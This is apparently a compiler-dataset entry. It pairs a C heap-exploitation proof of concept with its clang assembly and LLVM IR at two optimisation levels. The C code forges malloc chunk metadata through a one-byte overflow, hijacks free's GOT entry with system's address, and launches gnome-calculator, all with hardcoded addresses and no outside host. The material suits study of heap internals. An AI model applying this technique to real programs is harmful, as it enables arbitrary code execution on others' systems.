#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ free(char *);
char *malloc(int);
int /*<<< orphan*/ memset(char *, int /*<<< orphan*/, int);
int /*<<< orphan*/ strcpy(char *, char *);
int main(int argc, const char *argv[]) {
  size_t aout_bss_base = 0x601000;
  size_t aout_bss_free_got_offset = 0x18;
  size_t heap_base = 0x602000;
  size_t libc_bss_base = 0x7ffff7dd6000;
  size_t libc_bss_main_arena_top_offset = 0x7b8;
  size_t libc_base = 0x7ffff7a1e000;
  size_t libc_system_offset = 0x42cf0;
  char *p = malloc(1024 - 8);
  char *p2 = malloc(1024 - 16);
  char *p_end = malloc(32);
  char *pwin;
  int fd;
  unsigned int len;
  strcpy(p_end, "gnome-calculator");
  memset(p, '0', 1024 - 8 + 1);
  memset(p2, '0', 1024 - 16);
  *(size_t *)&p2[0] = (size_t)(p2 + 64);
  *(size_t *)&p2[8] = (size_t)(p2 + 128);
  *(size_t *)&p2[16] = libc_bss_base + libc_bss_main_arena_top_offset - 0x28;
  *(size_t *)&p2[24] = aout_bss_base + aout_bss_free_got_offset - 0x10;
  *(size_t *)&p2[64 + 24] = (size_t)(p2 - 0x10);
  *(size_t *)&p2[64 + 32] = 0x4141414141414141;
  *(size_t *)&p2[128 + 16] = (size_t)(p2 - 0x10);
  free(p2);
  malloc(1024 - 16);
  pwin = malloc(8);
  *(size_t *)pwin = libc_base + libc_system_offset;
  free(p_end);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
movq   $0x601000,-0x18(%rbp)
movq   $0x18,-0x20(%rbp)
movq   $0x602000,-0x28(%rbp)
movabs $0x7ffff7dd6000,%rax
mov    %rax,-0x30(%rbp)
movq   $0x7b8,-0x38(%rbp)
movabs $0x7ffff7a1e000,%rax
mov    %rax,-0x40(%rbp)
movq   $0x42cf0,-0x48(%rbp)
mov    $0x3f8,%edi
call   1060 <malloc@plt>
mov    %rax,-0x50(%rbp)
mov    $0x3f0,%edi
call   1060 <malloc@plt>
mov    %rax,-0x58(%rbp)
mov    $0x20,%edi
call   1060 <malloc@plt>
mov    %rax,-0x60(%rbp)
mov    -0x60(%rbp),%rdi
lea    0xe38(%rip),%rsi
call   1040 <strcpy@plt>
mov    -0x50(%rbp),%rdi
mov    $0x30,%esi
mov    $0x3f9,%edx
call   1050 <memset@plt>
mov    -0x58(%rbp),%rdi
mov    $0x30,%esi
mov    $0x3f0,%edx
call   1050 <memset@plt>
mov    -0x58(%rbp),%rcx
add    $0x40,%rcx
mov    -0x58(%rbp),%rax
mov    %rcx,(%rax)
mov    -0x58(%rbp),%rcx
add    $0x80,%rcx
mov    -0x58(%rbp),%rax
mov    %rcx,0x8(%rax)
mov    -0x30(%rbp),%rcx
add    -0x38(%rbp),%rcx
sub    $0x28,%rcx
mov    -0x58(%rbp),%rax
mov    %rcx,0x10(%rax)
mov    -0x18(%rbp),%rcx
add    -0x20(%rbp),%rcx
sub    $0x10,%rcx
mov    -0x58(%rbp),%rax
mov    %rcx,0x18(%rax)
mov    -0x58(%rbp),%rcx
add    $0xfffffffffffffff0,%rcx
mov    -0x58(%rbp),%rax
mov    %rcx,0x58(%rax)
mov    -0x58(%rbp),%rax
movabs $0x4141414141414141,%rcx
41 41 41
mov    %rcx,0x60(%rax)
mov    -0x58(%rbp),%rcx
add    $0xfffffffffffffff0,%rcx
mov    -0x58(%rbp),%rax
mov    %rcx,0x90(%rax)
mov    -0x58(%rbp),%rdi
call   1030 <free@plt>
mov    $0x3f0,%edi
call   1060 <malloc@plt>
mov    $0x8,%edi
call   1060 <malloc@plt>
mov    %rax,-0x68(%rbp)
mov    -0x40(%rbp),%rcx
add    -0x48(%rbp),%rcx
mov    -0x68(%rbp),%rax
mov    %rcx,(%rax)
mov    -0x60(%rbp),%rdi
call   1030 <free@plt>
xor    %eax,%eax
add    $0x70,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r15
push   %r14
push   %rbx
mov    $0x3f8,%edi
call   1060 <malloc@plt>
mov    %rax,%r15
mov    $0x3f0,%edi
call   1060 <malloc@plt>
mov    %rax,%rbx
mov    $0x20,%edi
call   1060 <malloc@plt>
mov    %rax,%r14
lea    0xead(%rip),%rsi
mov    %rax,%rdi
call   1040 <strcpy@plt>
mov    %r15,%rdi
mov    $0x30,%esi
mov    $0x3f9,%edx
call   1050 <memset@plt>
mov    %rbx,%rdi
mov    $0x30,%esi
mov    $0x3f0,%edx
call   1050 <memset@plt>
movq   %rbx,%xmm0
pshufd $0x44,%xmm0,%xmm0
paddq  0xe4f(%rip),%xmm0
movdqu %xmm0,(%rbx)
movaps 0xe54(%rip),%xmm0
movups %xmm0,0x10(%rbx)
lea    -0x10(%rbx),%rax
mov    %rax,0x58(%rbx)
movabs $0x4141414141414141,%rcx
41 41 41
mov    %rcx,0x60(%rbx)
mov    %rax,0x90(%rbx)
mov    %rbx,%rdi
call   1030 <free@plt>
mov    %r14,%rdi
call   1030 <free@plt>
xor    %eax,%eax
pop    %rbx
pop    %r14
pop    %r15
ret

LLVM IR (-O0):
@.str = [17 x i8] c"gnome-calculator\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i8**
%5 = alloca i64
%6 = alloca i64
%7 = alloca i64
%8 = alloca i64
%9 = alloca i64
%10 = alloca i64
%11 = alloca i64
%12 = alloca i8*
%13 = alloca i8*
%14 = alloca i8*
%15 = alloca i8*
%16 = alloca i32
%17 = alloca i32
store i32 %0, i32* %3
store i8** %1, i8*** %4
store i64 6295552, i64* %5
store i64 24, i64* %6
store i64 6299648, i64* %7
store i64 140737351868416, i64* %8
store i64 1976, i64* %9
store i64 140737347969024, i64* %10
store i64 273648, i64* %11
%18 = call i8* @malloc(i32 1016)
store i8* %18, i8** %12
%19 = call i8* @malloc(i32 1008)
store i8* %19, i8** %13
%20 = call i8* @malloc(i32 32)
store i8* %20, i8** %14
%21 = load i8*, i8** %14
%22 = call i32 @strcpy(i8* %21, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str, i64 0, i64 0))
%23 = load i8*, i8** %12
%24 = call i32 @memset(i8* %23, i32 48, i32 1017)
%25 = load i8*, i8** %13
%26 = call i32 @memset(i8* %25, i32 48, i32 1008)
%27 = load i8*, i8** %13
%28 = getelementptr inbounds i8, i8* %27, i64 64
%29 = ptrtoint i8* %28 to i64
%30 = load i8*, i8** %13
%31 = getelementptr inbounds i8, i8* %30, i64 0
%32 = bitcast i8* %31 to i64*
store i64 %29, i64* %32
%33 = load i8*, i8** %13
%34 = getelementptr inbounds i8, i8* %33, i64 128
%35 = ptrtoint i8* %34 to i64
%36 = load i8*, i8** %13
%37 = getelementptr inbounds i8, i8* %36, i64 8
%38 = bitcast i8* %37 to i64*
store i64 %35, i64* %38
%39 = load i64, i64* %8
%40 = load i64, i64* %9
%41 = add i64 %39, %40
%42 = sub i64 %41, 40
%43 = load i8*, i8** %13
%44 = getelementptr inbounds i8, i8* %43, i64 16
%45 = bitcast i8* %44 to i64*
store i64 %42, i64* %45
%46 = load i64, i64* %5
%47 = load i64, i64* %6
%48 = add i64 %46, %47
%49 = sub i64 %48, 16
%50 = load i8*, i8** %13
%51 = getelementptr inbounds i8, i8* %50, i64 24
%52 = bitcast i8* %51 to i64*
store i64 %49, i64* %52
%53 = load i8*, i8** %13
%54 = getelementptr inbounds i8, i8* %53, i64 -16
%55 = ptrtoint i8* %54 to i64
%56 = load i8*, i8** %13
%57 = getelementptr inbounds i8, i8* %56, i64 88
%58 = bitcast i8* %57 to i64*
store i64 %55, i64* %58
%59 = load i8*, i8** %13
%60 = getelementptr inbounds i8, i8* %59, i64 96
%61 = bitcast i8* %60 to i64*
store i64 4702111234474983745, i64* %61
%62 = load i8*, i8** %13
%63 = getelementptr inbounds i8, i8* %62, i64 -16
%64 = ptrtoint i8* %63 to i64
%65 = load i8*, i8** %13
%66 = getelementptr inbounds i8, i8* %65, i64 144
%67 = bitcast i8* %66 to i64*
store i64 %64, i64* %67
%68 = load i8*, i8** %13
%69 = call i32 @free(i8* %68)
%70 = call i8* @malloc(i32 1008)
%71 = call i8* @malloc(i32 8)
store i8* %71, i8** %15
%72 = load i64, i64* %10
%73 = load i64, i64* %11
%74 = add i64 %72, %73
%75 = load i8*, i8** %15
%76 = bitcast i8* %75 to i64*
store i64 %74, i64* %76
%77 = load i8*, i8** %14
%78 = call i32 @free(i8* %77)
ret i32 0
}

LLVM IR (-O2):
@.str = [17 x i8] c"gnome-calculator\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = tail call dereferenceable_or_null(1016) i8* @malloc(i32 1016)
%4 = tail call dereferenceable_or_null(1008) i8* @malloc(i32 1008)
%5 = tail call dereferenceable_or_null(32) i8* @malloc(i32 32)
%6 = tail call i32 @strcpy(i8* %5, i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str, i64 0, i64 0))
%7 = tail call i32 @memset(i8* %3, i32 48, i32 1017)
%8 = tail call i32 @memset(i8* %4, i32 48, i32 1008)
%9 = insertelement <2 x i8*> poison, i8* %4, i64 0
%10 = shufflevector <2 x i8*> %9, <2 x i8*> poison, <2 x i32> zeroinitializer
%11 = getelementptr i8, <2 x i8*> %10, <2 x i64> <i64 64, i64 128>
%12 = ptrtoint <2 x i8*> %11 to <2 x i64>
%13 = bitcast i8* %4 to <2 x i64>*
store <2 x i64> %12, <2 x i64>* %13
%14 = getelementptr inbounds i8, i8* %4, i64 16
%15 = bitcast i8* %14 to <2 x i64>*
store <2 x i64> <i64 140737351870352, i64 6295560>, <2 x i64>* %15
%16 = getelementptr inbounds i8, i8* %4, i64 -16
%17 = ptrtoint i8* %16 to i64
%18 = getelementptr inbounds i8, i8* %4, i64 88
%19 = bitcast i8* %18 to i64*
store i64 %17, i64* %19
%20 = getelementptr inbounds i8, i8* %4, i64 96
%21 = bitcast i8* %20 to i64*
store i64 4702111234474983745, i64* %21
%22 = getelementptr inbounds i8, i8* %4, i64 144
%23 = bitcast i8* %22 to i64*
store i64 %17, i64* %23
%24 = tail call i32 @free(i8* %4)
%25 = tail call i32 @free(i8* %5)
ret i32 0
}